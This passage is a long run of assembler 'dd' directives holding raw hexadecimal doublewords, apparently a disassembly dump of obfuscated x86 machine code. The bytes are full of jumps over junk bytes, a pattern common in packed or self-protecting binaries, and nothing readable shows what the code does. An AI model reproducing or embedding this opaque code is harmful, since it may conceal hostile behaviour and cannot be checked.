		dd 0F9BF0F5Fh, 0FFEB70Fh, 48Fh,	0DCBA6600h, 0E2BE6668h
		dd 3810F53h, 66000000h,	0FE9DE8Bh, 0DD000000h, 0B9A40EA9h
		dd 985A8B6Dh, 41560839h, 0B86635D9h, 0EA802104h, 0B3F8F928h
		dd 0D9D1803Dh, 8E9h, 458C0300h,	0C5A4CA70h, 7E9CAh, 0A5120000h
		dd 6D7A721Ch, 52C8B60Eh, 5830Fh, 81660000h, 5A55F1F7h
		dd 0E98166F8h, 0E28119E8h, 4B624AB8h, 0E8C8F280h, 0Bh
		dd 23F5555Ah, 0F02F805Ah, 0FE4DAA6h, 387h, 0D78B6600h
		dd 0BE958h, 4C340000h, 0BCF13FBDh, 0F875DBDDh, 12E981h
		dd 57070000h, 5E20280h,	0C26F336Eh, 0F156FFCh, 58D6806Bh
		dd 11E860h, 0FD6A0000h,	0D3A5B3D6h, 1B6BE8AEh, 96415DFDh
		dd 66A86607h, 592A7DB8h, 7E9h, 0F5719800h, 0C3191027h
		dd 0B70F6061h, 3880FD7h, 0F000000h, 6661D9BFh, 56B1F681h
		dd 0FF86AB3h, 483h, 0A5BE6600h,	0F98B667Ah, 9E5BF66h, 9949C181h
		dd 850F73F2h, 6, 5A81E281h, 0EE94262h, 1000000h, 2908D241h
		dd 0A0E3BE32h, 0E31071CDh, 0C018BA12h, 0DBBE5969h, 50581D1Eh
		dd 0E85FF08Bh, 13h, 0B286DC5Fh,	38C9F333h, 828F9FD8h, 272C6AF5h
		dd 80B7AC61h, 0E95A48DAh, 0Ah, 24F3A009h, 6C929A9Dh, 830F4F57h
		dd 2, 9E9EFB1h,	0EA000000h, 3D6E6704h, 80EF2AC7h, 89E08150h
		dd 5B34B050h, 38E0Fh, 8B660000h, 3820FFEh, 80000000h, 8B66F6CBh
		dd 0C88060DAh, 0EE8616Bh, 0BE000000h, 3AEDF738h, 662D25E7h
		dd 40FB2756h, 40BF525Fh, 5F02DC82h, 60CE8B5Bh, 47DE8166h
		dd 0F28B66D7h, 6880F61h, 0F000000h, 8Bh, 28BE6600h, 48B0FE3h
		dd 66000000h, 811D48B8h, 37B8EAh, 2CCA811Ch, 663F2722h
		dd 60A1EFBFh, 0E957CE8Bh, 13h, 37E4836Ch, 0DEFF5EC3h, 6D770F51h
		dd 7D7AE2C9h, 5A2BAE14h, 0D890F61h, 60000000h, 0B6EA8166h
		dd 8B0F2Bh, 61000000h, 6699D580h, 0F081FB8Bh, 5E965AE3h
		dd 66F98B60h, 6661C28Bh, 310AF281h, 6613E880h, 0B63CC881h
		dd 0FE9h, 96952D00h, 57558C73h,	0CF79CEBEh, 5B558855h
		dd 0ADEB8166h, 20EF8135h, 664225BFh, 0FF9F08Bh,	1484h
		dd 0FE900h, 800A0000h, 1455F37Fh, 0D477406h, 7E02C474h
		dd 0CDC18054h, 0FD18B66h, 0BF0FC6BFh, 8E9C3h, 6C280000h
		dd 7469045h, 0BF0FD656h, 0FDA8BD3h, 485h, 0AEBA6600h, 59D88026h
		dd 81DA8B66h, 0E0D2D4DAh, 11800F7Bh, 0E9000000h, 0Ch, 0C16E83EEh
		dd 0DAF888D2h, 0DBD19086h, 8BBF5A51h, 0F6D2A65h, 1984h
		dd 14E900h, 3DA0000h, 0B7AB8D45h, 9BC47B21h, 4782A1EAh
		dd 36C1EA3Bh, 8166D32Ch, 8B1D7CC0h, 7E9C2h, 976C0000h
		dd 721971F4h, 0B8D0F55h, 0F000000h, 580h, 0CF816600h, 820F4E68h
		dd 3, 0FD2B70Fh, 0C83h,	7E900h,	4150000h, 8C79CD38h, 0F78B66FBh
		dd 7E9h, 0E0E2FF00h, 77191C3Ah,	1DDD68B9h, 18C0F2Fh, 0FC000000h
		dd 0EE8h, 0E001A600h, 8180EC63h, 0AE518F44h, 0F6CC51Eh
		dd 288h, 58DA8B00h, 0BE8h, 0B808BB00h, 8A6B29C3h, 0E0D1E736h
		dd 58A0Fh, 56B80000h, 5F0968BDh, 0E6B8E781h, 60F838E3h
		dd 2820Fh, 61600000h, 5E9h, 4C296A00h, 0B961C4E0h, 3626F560h
		dd 14E8FCh, 68030000h, 0D32DC097h, 8F775196h, 7B252DEAh
		dd 0CA3A3E18h, 13E9F566h, 8000000h, 3DA8E825h, 0CB1C6C51h
		dd 56150450h, 0A09A9B94h, 0E859081Ah, 13h, 74E9B8h, 0BDBA0576h
		dd 14102CCDh, 0FA269E53h, 0F4E1FA8h, 682h, 840F00h, 5F000000h
		dd 8E9h, 0F8712500h, 4533ACFDh,	77BF66FDh, 14E96Bh, 0C8CC0000h
		dd 0CEF4BE5Dh, 9575D697h, 20C59AAEh, 43C04Dh, 0BA66496Fh
		dd 0DE9CE0Eh, 0CE000000h, 55F9DB3h, 1DFC1899h, 0DF284C51h
		dd 10E8h, 0AA260E00h, 64F81297h, 0EA651398h, 0F8BCF6CBh
		dd 5A77B51Eh, 1DBAB866h, 73C98166h, 0D38166B3h,	0E8565A71h
		dd 8, 0EED2B7C6h, 0D48C44B0h, 0EFF28166h, 0E8585E15h, 9
		dd 0C7CDC629h, 62A347BAh, 55B8668Dh, 0BA665B44h, 90BA10F2h
		dd 66674E4Ah, 868FCB81h, 2682D881h, 14E93763h, 52000000h
		dd 460024F8h, 13BA3BF7h, 7FE1B68Fh, 0C25946AAh,	66D62F36h
		dd 0DE80F78Bh, 3B04BEA9h, 0D0816C26h, 62979B76h, 95EABE66h
		dd 0FF28BFCh, 285h, 0E9CBB200h,	11h, 1AEC7D42h,	0A80F3CBCh
		dd 2D2356DAh, 3726E5C4h, 0FF08B65h, 0BE8F7BFh, 0EA000000h
		dd 0C3DEA1AEh, 702A0EF7h, 0C180A1B9h, 13E95E83h, 7C000000h
		dd 45EC668h, 0B7B2420Bh, 3849E29Eh, 0A127EC58h,	81663295h
		dd 66B7C4C9h, 5650DE8Bh, 5AC1B70Fh, 0BF0F5259h,	8E0F5FF2h
		dd 1Bh,	158F0Fh, 10E90000h, 0F5000000h,	0CC493E19h, 0B764E5D2h
		dd 5C9E4910h, 0B3A80EE5h, 0CE932h, 47EF0000h, 0D10F5B5Eh
		dd 13E4DF58h, 8A601631h, 0F1E681E8h, 615EE375h,	0CE8B6660h
		dd 0F2C2BF60h, 8A0F67F8h, 0
		dd 0F566161h, 8B58F9B7h, 0F38B66D6h, 668BF480h,	41BFD38Bh
		dd 0BB52B7C7h, 23758B6Dh, 0BFD78B66h, 44179CD0h, 6E8h
		dd 59E41D00h, 5802A500h, 0FEDC280h, 0DE9F8BFh, 8F000000h
		dd 0C52CF095h, 0B3303502h, 0BE9E5B5Fh, 0BE960h,	2FE60000h
		dd 6E3FB446h, 44CF6205h, 8E94Dh, 94CE0000h, 0FF6158F3h
		dd 0E86138FBh, 7, 0A6EA0EB7h, 0B2E913FCh, 8F0F5FC4h, 2
		dd 0DE97AB7h, 9B000000h, 7914C60Eh, 15E8E865h, 0B9CFAD92h
		dd 1CEF8160h, 0E8369772h, 13h, 0D880CDC9h, 408BE317h, 0DDAA044Fh
		dd 0B9A40EA9h, 585A8B6Dh, 0AE95061h, 42000000h,	2E42EFFCh
		dd 96952D5Ah, 8B605973h, 6E8CBh, 0AE9A0000h, 5A67C091h
		dd 5E8h, 0C7A74B00h, 585E0EB4h,	0DA81FC61h, 14B105A1h
		dd 8F0FF9B4h, 2, 8B66DA8Bh, 8E0F50CAh, 1, 0CA8A58FCh, 7E8D48Ah
		dd 0F000000h, 0FF21935Eh, 0B95213BBh, 42802922h, 0EE85E5Bh
		dd 37000000h, 8A4AAC1Eh, 8C6AAFFh, 6B1D7E5Dh, 0F5AF8FEh
		dd 86h,	0F8B15100h, 1B8BE58h, 12E93EADh, 0BF000000h, 6C69A28Fh
		dd 47FE6994h, 2F0003A7h, 49997470h, 53606085h, 9CB86659h
		dd 0CD80610Fh, 5E96125h, 4B000000h, 368ECD97h, 6E8h, 0F4992900h
		dd 0E91C7F03h, 0Dh, 2A442620h, 5D012DCEh, 0DFE0AD7Dh, 860F58BCh
		dd 5, 8FE18166h, 0FF5F528h, 38Dh, 0DF8B6600h, 6E8h, 0A1A21700h
		dd 661E6D4Ah, 5B787BB9h, 6A8C8BB9h, 78F0F59h, 57000000h
		dd 2FC68166h, 0DE95A15h, 3D000000h, 6E11F81h, 31B8F6FFh
		dd 5002AE0Dh, 12E9h, 0BE330F00h, 0D0A2F472h, 99679504h
		dd 0A149DD0Ah, 669ECDA7h, 0C8ECE981h, 9E8h, 0BD38D400h
		dd 956493F3h, 0CD8032C7h, 0BE665A60h, 11E80257h, 88000000h
		dd 0F509CA2h, 0ACD17B7Ch, 4BDDAC07h, 68618B02h,	5BDA8B52h
		dd 95BF6659h, 5E78183h,	664853F9h, 5219D681h, 5E9h, 178F5A00h
		dd 8B0FF050h, 1Ah, 0EE8h, 2474AD00h, 985D6A0Ch,	8804E5B2h
		dd 81C91E4Ah, 0EC0649EAh, 0C8815E16h, 7C8F2E3Dh, 10E9h
		dd 9C11D400h, 0DCB05669h, 0D8085B61h, 1A37A58Fh, 0D18B6695h
		dd 3820Fh, 0BF0F0000h, 10E8D8h,	0EBFA0000h, 0B00F54D3h
		dd 43D28A3Fh, 86C5B89Ah, 665B6449h, 0F38BCE8Bh,	9DCE8166h
		dd 5860FD2h, 52000000h,	5FF08B66h, 536015B0h, 10E9h, 91A30C00h
		dd 0D21D2F63h, 0A238634Ch, 0BDA876Ch, 66615BC8h, 0B70FF88Bh
		dd 0B648BACEh, 0D681270Fh, 4FA5B7CCh, 0CA5CBBh,	0C9BF0F2Dh
		dd 0CE9h, 7EB79200h, 1BF07AB7h,	268481C0h, 0AE9F0h, 0F0310000h
		dd 54FC81C8h, 4108FA86h, 6675E080h, 605E9EBBh, 8AC0BF0Fh
		dd 12E961CCh, 0D4000000h, 0BB4559A3h, 0EB34A301h, 0FF56CE85h
		dd 0F9D2386h, 5870F63h,	57000000h, 59CABF0Fh, 66F08B66h
		dd 8B0FCB8Bh, 18h, 11E8h, 0DEB1C00h, 0CC9BF650h, 43C8384h
		dd 23CE08C1h, 59F8ABE5h, 56F08166h, 9E95219h, 0C7000000h
		dd 0B7F26A3Bh, 0A4954B5Eh, 0DE95Fh, 60100000h, 1FD2CE49h
		dd 795536C8h, 0E94971C4h, 10h, 247E523Dh, 224E067Eh, 7EA564E3h
		dd 51489995h, 5880Fh, 81660000h, 0FBF0CE6h, 28Bh, 0F21B700h
		dd 128Ah, 0DE900h, 0A9EB0000h, 0D588D5BCh, 5A15606Ch, 81F51282h
		dd 6EA9DDF1h, 0F3B70F5Eh, 0BE9DC8Ah, 2F000000h,	0D581D386h
		dd 1C3671BBh, 8B0F1375h, 0Fh, 0AE9h, 4A619D00h,	1CAF052Dh
		dd 0FC6FF67Ch, 0E9D88BF8h, 0Fh,	0F737F8DBh, 6B01B372h
		dd 65DC54E2h, 0E96FCADDh, 14h, 0FABE6B5Dh, 5AF5F210h, 94885E62h
		dd 0B3120845h, 5A9E9F21h, 0E8D3B70Fh, 12h, 6BB649F8h, 12F17D59h
		dd 2C033342h, 2086EAEEh, 35B8E504h, 5F2E248Ah, 8D0FF8h
		dd 0F000000h, 1A8Fh, 7E800h, 1A250000h,	46C578DBh, 8E922h
		dd 208B0000h, 0E387BBD3h, 8B58463Bh, 0F9B70FFAh, 0C739D981h
		dd 6E91929h, 0F1000000h, 0B3B5DD5Eh, 0F6BF0FB2h, 0E9C78B60h
		dd 8, 0E16C8417h, 91B71BD5h, 0BBCE8161h, 0E812846Dh, 8
		dd 7EC2D139h, 21E55114h, 7E856h, 0A6260000h, 9C0CB6A0h
		dd 5F585F9Ah, 66CF8B66h, 8B0A79BEh, 0BA31B9FBh,	850F19A7h
		dd 3, 51FA8B66h, 0F08B6659h, 0A4D580FCh, 0B0E28152h, 5F7A5D6Fh
		dd 66C38B66h, 702AE681h, 0AE85357h, 0BC000000h,	0E1221411h
		dd 8BA33EB3h, 5B595980h, 66D9BF0Fh, 0F743E781h,	28B0F57h
		dd 8A000000h, 6ABA5AE1h, 8020AB12h, 0E9530CDFh,	10h, 4595F2F0h
		dd 34CDB5EFh, 4AB809EDh, 7212C1AEh, 5820F58h, 66000000h
		dd 7782F681h, 0E9C88B66h, 7, 78FA5663h,	669D3CCAh, 66B941BAh
		dd 0E66FE281h, 6660D18Bh, 0DE9D08Bh, 62000000h,	0E1491DA4h
		dd 0B1B0A188h, 238E10E6h, 0CE86061h, 83000000h,	0FEC8D7B1h
		dd 71AF990h, 0BAF19FFAh, 3D06CF31h, 61606059h, 8B0Fh, 61610000h
		dd 0A2EEBA66h, 9E9h, 0DECCF500h, 51588380h, 0C7819FA1h
		dd 2CBC7820h, 68E168B9h, 0DE877h, 57700000h, 0ACDDFF73h
		dd 0E187D913h, 669E4D5Eh, 3120E281h, 95EE8159h,	6679E36Eh
		dd 0AEFEF381h, 0E846BB66h, 0E9CBB70Fh, 5, 2F517E49h, 0AEC081FBh
		dd 0E97E2557h, 7, 503ADC53h, 81215D1Dh,	0B26D2EF0h, 0E9F96002h
		dd 0Ch,	7695F91h, 0B32DA003h, 22BE632Ah, 0E1816661h, 0D1BE4308h
		dd 60079F24h, 6235BE66h, 0AE9h,	0AF997200h, 649459A0h
		dd 61CD5B84h, 2F3AB866h, 0B87DBE66h, 54EE8166h,	66C68B3Eh
		dd 5E9FB8Bh, 19000000h,	34F8C2D3h, 0CE9F28Bh, 20000000h
		dd 0D3DB537Fh, 73F2EE04h, 0FC6D9EA8h, 0F61FC60h, 158Ch
		dd 10E900h, 37CF0000h, 0D20927C4h, 46747780h, 0D146F2F3h
		dd 0B957D5B1h, 1F498453h, 3C43B95Ah, 0E96051F4h, 8, 95B52740h
		dd 0F7EE836Eh, 0EB816661h, 2BB892EBh, 0F5021E6h, 18Dh
		dd 0BE66F800h, 0E180361Dh, 0DFBF0F5Eh, 204268BFh, 6880F69h
		dd 60000000h, 5A515952h, 820F5761h, 1, 880F5FFCh, 0Ch
		dd 7E9h, 0B3156B00h, 0DFBC2B92h, 0E8FCD580h, 8,	1F68BBA6h
		dd 0B3BE820Eh, 11E8h, 0E3A7E700h, 0DBA1B51Bh, 75D07939h
		dd 4D47346Fh, 8E8238Dh,	35000000h, 1A53D027h, 5F9FCBB9h
		dd 8B665F59h, 880F57F3h, 12h, 0DE9h, 0BA8FC700h, 51354D7Fh
		dd 9496BC94h, 0B05ABD5Bh, 13E82Dh, 0A54B0000h, 9352F03Bh
		dd 0C812C735h, 53E6F253h, 0BF575C50h, 5EF78B39h, 0C880Fh
		dd 840F0000h, 6, 850Fh,	60600000h, 8DEA8166h, 0BE861A3h
		dd 0F1000000h, 0A387B05h, 61A06736h, 59536CF7h,	810F615Fh
		dd 1Bh,	0AE8h, 8D17A200h, 0D85A4BF5h, 0E9CD2151h, 6, 0E517CA55h
		dd 5359B797h, 0F7816659h, 800FB1E0h, 3,	0E9F88B66h, 6
		dd 0F8E9E4EDh, 0FE9FD85h, 21000000h, 494357C0h,	3C4A769Fh
		dd 752B111Dh, 8166ECC8h, 81DF6AD8h, 9F2EF5C1h, 11E95149h
		dd 41000000h, 2E607F77h, 0A67D2C48h, 0B9F68E8Dh, 0FBA6C3FFh
		dd 0CF81605Bh, 6C509EDEh, 11E9h, 8FE8A200h, 2D71B35h, 0FD53499Fh
		dd 8962C745h, 66617F11h, 0FC190CB9h, 0BBAEC681h
		dd 13E91760h, 97000000h, 33DE1126h, 0EAB8A9DFh,	7882F820h
		dd 291C2A02h, 8166A8BEh, 0F55C2C6h, 483h, 0E1BA6600h, 0F28B668Fh
		dd 4810Fh, 0BB660000h, 8B66157Dh, 0BE8D3h, 6CB10000h, 58F8267Ch
		dd 0F21F3CACh, 10E8DAh,	730C0000h, 0F1392302h, 0F70BF796h
		dd 3A598EE6h, 0EE96AABh, 0C6000000h, 0B58EDDDh,	0F18BF256h
		dd 7184CA50h, 0E9585A09h, 5, 0E8C3E951h, 11E826h, 4FF60000h
		dd 95A243DAh, 3B3EFBB5h, 0C41C5753h, 605AF4EAh,	850Fh
		dd 8E0F0000h, 0
		dd 81665E61h, 665A7EC1h, 0F860EBBh, 8B66F0B7h, 0EE9D1h
		dd 4AD0000h, 0E702CF90h, 231298BDh, 0B2ED3F49h,	0DE9h
		dd 0D383A900h, 0C8BB466Ch, 0A1E83462h, 0CE9B310h, 83000000h
		dd 410219A1h, 0F13D88CDh, 0F84198D2h, 0D94BD6B8h, 0F60F51Ah
		dd 860FC9BFh, 6, 840Fh,	0F9610000h, 0BB66CA8Bh,	0E480F44Ch
		dd 0C38A52ACh, 0E8FB8B5Ah, 0Ah,	3E0AB094h, 3E2B8434h, 70BB616Bh
		dd 5915FB0Eh, 0C88166F9h, 0FE9CB07h, 0B8000000h, 584CE165h
		dd 5F20010h, 0D53ACBFEh, 0B8667CE6h, 0BA66E865h, 850F66B8h
		dd 3, 0BFFE8B66h, 4B90918Dh, 0EE9h, 2467EA00h, 0BF3A5551h
		dd 4A4020E2h, 0BBDBA8C6h, 7B93C935h, 14E8h, 0EE971600h
		dd 7D5FC523h, 0C47159A7h, 35EAE7A9h, 0D03E208h,	5ED78B58h
		dd 5E953h, 97230000h, 59FAF1D5h, 48D98166h, 0F5525236h
		dd 8D0F5E5Fh, 19h, 13830Fh, 0EE90000h, 13000000h, 58361564h
		dd 750DCE4Ah, 4DCE5FAh,	8166F861h, 0E9054DC9h, 0Eh, 0DB2B4F4Dh
		dd 0C784504Bh, 78630C4Bh, 8E0FE13Dh, 3,	8BDBB70Fh, 0C7BB66C7h
		dd 0E5CC80A3h, 880Fh, 8A0F0000h, 0Eh, 9E9h, 0D568C100h
		dd 0D55BEC4Ch, 0D2803ADDh, 0D2BF0F08h, 6A5FBBAh, 0D781663Dh
		dd 2AB8BF68h, 666170CDh, 0E96FDABEh, 7,	9C7E224h, 0FD80CB2h
		dd 680h, 0EEEB8100h, 0E964EBEEh, 0Dh, 3B80E621h, 0A99C518Dh
		dd 53C6D74Fh, 0BE930h, 6A10000h, 9091DEBFh, 1AC7EDB2h
		dd 44E78005h, 8BB2F580h, 10C780C3h, 68E0Fh, 0EA810000h
		dd 528049A0h, 0FE9h, 0BB4B7400h, 0FC1321DFh, 0BC59B84Eh
		dd 0F76AAEE5h, 66FBB70Fh, 0EEF4D281h, 0BB66FE8Bh, 0F6035C5h
		dd 28Dh, 50616000h, 0FF96158h, 870FD6B7h, 1, 52E8B3F9h
		dd 538FBB66h, 13E95Eh, 76390000h, 6CB7907Ch, 2E584A4Ah
		dd 2DD35230h, 0AD730D34h, 38A0F06h, 0F000000h, 11E9C6BFh
		dd 22000000h, 24B2D189h, 0BA7AA1F2h, 0A7035CBCh, 0A67A854Fh
		dd 810FFE8Bh, 15h, 9E8h, 38542E00h, 1B81213Dh, 0D081C583h
		dd 4A31F95Eh, 0D6816658h, 8B66DD46h, 0BB2BB7CEh, 6126C931h
		dd 5860Fh, 0D3BA0000h, 8103ED39h, 233DFBD8h, 0F1816654h
		dd 0B966776Bh, 810F7DE0h, 0Bh, 6E9h, 8311E500h,	0E83D263Bh
		dd 9, 0B931EC82h, 0E61B9B0h, 11E95EECh,	0EB000000h, 6A29ACDh
		dd 0C838D97Ah, 76B55ED9h, 0E38AA6A0h, 0F60EC8Ah, 87h, 0D98B5100h
		dd 0E9F8615Ah, 0Ch, 6A436231h, 0F56CF84Ah, 2FA464B4h, 0AB33BEB8h
		dd 8B665232h, 8B665FDFh, 34BE66C6h, 0F08B66B5h,	99CD8053h
		dd 0A8C1805Eh, 31F68151h, 5B2C6073h, 0B0F88B66h, 0E95152AEh
		dd 0Bh,	0F983054h, 86792734h, 5AF1C575h, 8E95Bh, 0E85C0000h
		dd 9782D179h, 8E0F37BAh, 3, 60D1BF0Fh, 61D2B70Fh, 81665857h
		dd 8187D6E3h, 7295E6E3h, 880F5670h, 0
		dd 62B8665Bh, 1C8B0FFDh, 60000000h, 2DC28166h, 10E9DCh
		dd 570A0000h, 88099D4Dh, 0FB2C9ED9h, 6888E2D7h,	6661A3E2h
		dd 8166F08Bh, 0E884E2E7h, 11h, 0A88A3DC3h, 49C28ACFh, 0E9626758h
		dd 0F895C7FEh, 10E8A1h,	535F0000h, 6331D63Bh, 8733868Fh
		dd 365AE1ABh, 8B6642B7h, 0F5F59C1h, 82h, 0F352B900h, 0E5B91C5Fh
		dd 0E908AE16h, 0Bh, 853C12F3h, 8EC48009h, 0E9D0E24Fh, 0Ch
		dd 49584BE3h, 0D028A7D6h, 9D4704CAh, 11E8h, 0F15CEA00h
		dd 474AC343h, 24867633h, 1493A346h, 81669E54h, 5A6F3BE6h
		dd 0E981D380h, 7, 5F9074F9h, 8BD2635Eh,	38D0FF1h, 66000000h
		dd 6060F18Bh, 0AE95F50h, 0E000000h, 759A3E78h, 0EFE31BA1h
		dd 7E961A3h, 3F000000h,	0F28A5F9Ch, 5661EA97h, 59D18B66h
		dd 0BF0FC28Bh, 9BBA66CFh, 12E84Fh, 0DD340000h, 4B1EFCC3h
		dd 0B2234DD5h, 32717F0Eh, 34DAD6h, 28D0Fh, 61600000h, 11E8F95Ah
		dd 28000000h, 830D440Fh, 0CECF0C57h, 0E4B3E738h, 15088E67h
		dd 587EDD80h, 0CE9h, 0B1535D00h, 0B8EB4987h, 7F77414Ch
		dd 0D9816660h, 0E9F945B7h, 0Bh,	0D8DA220Fh, 750553D1h
		dd 609DD382h, 47A2BE66h, 0CE9h,	0C4220900h, 0D211D220h
		dd 1AFE7278h, 0D98B6186h, 27D78166h, 43C2BEBCh,	606028BCh
		dd 60C2B70Fh, 0EA816161h, 790D41D5h, 93BF6661h,	66CB8B7Dh
		dd 0BA52E5B8h, 7B320527h, 0B9F3BF0Fh, 4A3EE790h, 6062C780h
		dd 86D78166h, 0D830F1Ah, 0E9000000h, 8,	0DA88F490h, 1C5D46B6h
		dd 1AD38161h, 0B824AA7Bh, 782329EEh, 8BFAB70Fh,	4AB966C6h
		dd 2B966C3h, 0FE97Dh, 0E7220000h, 37E6B9Dh, 12A73089h
		dd 0F734DFE8h, 58B0FC9h, 66000000h, 38F1DA81h, 6C6FECBEh
		dd 5EF9501Dh, 48A0Fh, 0B9660000h, 8B52B318h, 0B70F5BF1h
		dd 6850FFBh, 0F000000h,	8Ch, 19890F00h,	53000000h, 12E9h
		dd 640B9600h, 0CE91548Dh, 8ED2976Ah, 6B36668Dh,	5960AFD9h
		dd 0BA04D580h, 63612840h, 6721F181h, 6E80C59h, 0A6000000h
		dd 3F41C449h, 0A6BA6655h, 0B26058B6h, 6160603Ch, 0FC6161F9h
		dd 14E9h, 158E6A00h, 666312D8h,	1101993Ch, 0BEA64C27h
		dd 27187A0Fh, 0C3B70F1Dh, 83B4BEF9h, 5E90E62h, 25000000h
		dd 0F061C330h, 0ED7BBF66h, 11E9h, 6C717100h, 0CE6A5F3Ch
		dd 0EF131A6Dh, 694B9213h, 6E9D5BBh, 0AA000000h,	912FC7E8h
		dd 0EE957h, 21A50000h, 6E03D5D9h, 93E90141h, 0ED73CD3Ah
		dd 0BAC1B866h, 11E9h, 0BD378E00h, 0FB3B6628h, 0DF6BA74h
		dd 244BE2Dh, 0B8662AFEh, 0B70F4097h, 68D0FC0h, 81000000h
		dd 3DC268F6h, 0C38B663Dh, 0E830Fh, 9E90000h, 5E000000h
		dd 578C159Ah, 0DB13866Fh, 45D6BEF5h, 830F2A39h,	15h, 10E9h
		dd 926B9100h, 83085C53h, 24D08260h, 0FCD3D398h,	0DAF0808Eh
		dd 60EA8AF8h, 6661C68Ah, 0E89E18BBh, 0Bh, 21208993h, 3F99E28Eh
		dd 53832E3Dh, 66FC5F5Eh, 0CAB8D98Bh, 0E870505Fh, 0Ah, 4104BC42h
		dd 0FF09CA7Fh, 8166F093h, 5F47C1D2h, 0BF0FF08Bh, 5880FD0h
		dd 0BA000000h, 166FD7D1h, 87A544B8h, 0B3C28036h, 1FAFDA81h
		dd 3FBB1684h, 0E960D08Bh, 0Fh, 506430B0h, 0F87EBE87h, 0B5BDB240h
		dd 66413013h, 0B3AAB0BFh, 0F5C38BFBh, 0D2BF0FF9h, 38F0FF5h
		dd 80000000h, 8D0FF4D1h, 3, 8169DF80h, 0B21621C9h, 8BD3B561h
		dd 8E0F60DFh, 6, 8A0Fh,	0B70F0000h, 14E961FFh, 5F000000h
		dd 15EFA5B7h, 7254988Fh, 0C75DD342h, 49984A8Ah,	66586916h
		dd 5BEF78Bh, 607E9282h,	861AF181h, 8B612D74h, 0F2B70FCFh
		dd 0FE9h, 7D4BE600h, 0B8E0707Bh, 0D1C04B6Bh, 0F1B1B52Bh
		dd 0ECB8C88Bh, 6630AA15h, 5700EF81h, 830FE88Ah,	6, 0B4EEF681h
		dd 9E84076h, 93000000h,	7DF66AD7h, 0D07D9EB8h, 0B4AFB866h
		dd 8D0FF85Bh, 7, 0EED48060h, 0F616160h,	385h, 0CBB70F00h
		dd 0FE8h, 28C6CA00h, 0A213FF89h, 21451F85h, 6ABDD9F9h
		dd 0EE9h, 0A954900h, 0F2573961h, 0DB74BA82h, 5F2F7B02h
		dd 0FE9FCh, 324D0000h, 5A95195Ah, 34D64402h, 0D36C2E7Ch
		dd 2CB86647h, 9E967h, 19040000h, 0FBC6AF0Fh, 8A342CD1h
		dd 0D381F5F5h, 494D3420h, 6E9h,	0A017DF00h, 0F0AF6B1h
		dd 388h, 0F9B70F00h, 1FDC381h, 8166762Eh, 0B2414EF6h, 80CF8AEFh
		dd 0E18108ECh, 61F7E377h, 15830Fh, 0EE80000h, 5000000h
		dd 1CF9EA23h, 235BF286h, 8D1635E0h, 6658F9FEh, 808E53B8h
		dd 0B70F16F2h, 90FBAF8h, 0BA6630ACh, 0B1B6113Dh, 3744BEF5h
		dd 5DB65C30h, 3AC18166h, 5CC7805Fh, 9E8h, 11697100h, 92D1E95Fh
		dd 0DE9BB51h, 30000000h, 0E9A5E1DCh, 0AAAD4FDFh, 0ACAECF6Ch
		dd 0BA4CBA58h, 0EE93875h, 95000000h, 483605FAh,	0BA346444h
		dd 5AE966B6h, 158B0F2Eh, 0E9000000h, 10h, 26801BB0h, 4BD551A4h
		dd 0A2421BFAh, 554B9EDEh, 7CECDE81h, 0BE665E7Ch, 81FCD9A2h
		dd 7225FCEBh, 8B0F575Dh, 19h, 14E9h, 36BD8D00h,	13564A30h
		dd 39DACDABh, 0FFF05E5Ah, 1A22CFB0h, 0E1805892h, 11E9F0h
		dd 729B0000h, 9749AB6Fh, 0A4B251ABh, 0E7872F2Dh, 0F9978B68h
		dd 6C54BF66h, 8166D18Bh, 0B364A6C2h, 0AE9F3h, 41000000h
		dd 9E97C623h, 0A65595C2h, 335CC881h, 11E8509Dh,	67000000h
		dd 22D89B6h, 0F3C8B28Dh, 5D1B24Ch, 1183871Bh, 0FC58E3B0h
		dd 8BC78B60h, 0EE961DFh, 0A6000000h, 0E800E6A1h, 0BA725CFDh
		dd 0C0D6F8C4h, 0FE9B2h,	0C19F0000h, 3971191h, 23DB03B0h
		dd 0E11C6260h, 8B66FC65h, 66FC60F0h, 0C077D181h, 0DBB70F61h
		dd 0E98BE880h, 13h, 729F2589h, 0E514E2ABh, 0E4703FB6h
		dd 0A2D8C542h, 81611DCCh, 2C1734C0h, 0CC43B95Ah, 0AE96C1Fh
		dd 0A6000000h, 0FFD74EB5h, 5000BE51h, 10E963h, 0EFBB0000h
		dd 0F0F7C5CBh, 0B4255CDEh, 2B67E54h, 0D7807908h, 0FE8F6h
		dd 699A0000h, 11B98074h, 0C84370Fh, 0F395B8CAh,	0C18B660Bh
		dd 8166575Eh, 59F780E9h, 94D78166h, 7DD9804Fh, 0B2D3BF0Fh
		dd 0BF665034h, 8A5B7BFFh, 6890FE3h, 81000000h, 56AFB5DAh
		dd 8166602Dh, 60EC47F2h, 9E9h, 0E5702600h, 616961DAh, 61F9CD5Eh
		dd 0A830F61h, 0E9000000h, 5, 0EB7D3B90h, 7C89B8ACh, 0FE92163h
		dd 91000000h, 0F6D18554h, 0E06BAF6Ah, 5D83F32Dh, 0BF0F93B7h
		dd 0FB8B60C1h, 0DE961h,	0BEB10000h, 0C7C806E0h,	21C5254Fh
		dd 0E914A879h, 9, 14CD1565h, 1E1B767Eh,	5890F28h, 66000000h
		dd 0BD1ACF81h, 8108CC80h, 0E108B3D7h, 0EE84Ah, 90AA0000h
		dd 0CBCCF0F5h, 0C33025A0h, 9D18F061h, 515BD88Bh, 59A1CA80h
		dd 6656D380h, 66CDD5BAh, 0EE16D781h, 5A7ADE81h,	10E8305Fh
		dd 3D000000h, 0BE217022h, 0C3E95150h, 451C26E8h, 66DE0BC0h
		dd 8A5BF18Bh, 0D68B66F7h, 0A6ADE81h, 0EE85FA4h,	0ED000000h
		dd 3DBD6AECh, 917793D4h, 4055B70Fh, 88D38129h, 5B2D52CDh
		dd 81C8BF0Fh, 534AEFE7h, 0F88B6639h, 6EADE5BFh,	0BB21BB2Bh
		dd 870F3E0Eh, 18h, 13E9h, 0FDBA4500h, 6E2B94E6h, 0E866C7B9h
		dd 0A0D823D3h, 0BCC825A8h, 1B840Fh, 8C0F0000h, 15h, 10E9h
		dd 0CEB97700h, 0B8A365C2h, 433DD254h
		dd 0B356AAAFh, 0BAC28125h, 6624A7E9h, 11E8F28Bh, 4D000000h
		dd 7A38CB44h, 0B3F0C21Bh, 827D309Fh, 0D1BAE18Bh, 5AFFDE80h
		dd 60CA8B66h, 0CE9h, 6883D000h,	694B317h, 0B07C96F4h, 11E982h
		dd 421F0000h, 0A4676AFEh, 0C7B50980h, 0C3B13792h, 61293870h
		dd 8B665AB6h, 0E8F560CBh, 14h, 0FA0AA461h, 27D4A184h, 0A3B6F159h
